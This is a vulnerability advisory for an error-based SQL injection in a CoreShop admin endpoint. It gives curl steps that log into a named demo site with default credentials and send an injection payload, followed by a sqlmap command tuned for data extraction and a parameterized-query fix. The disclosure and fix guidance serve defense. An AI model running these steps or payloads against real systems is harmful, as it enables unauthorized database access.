CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints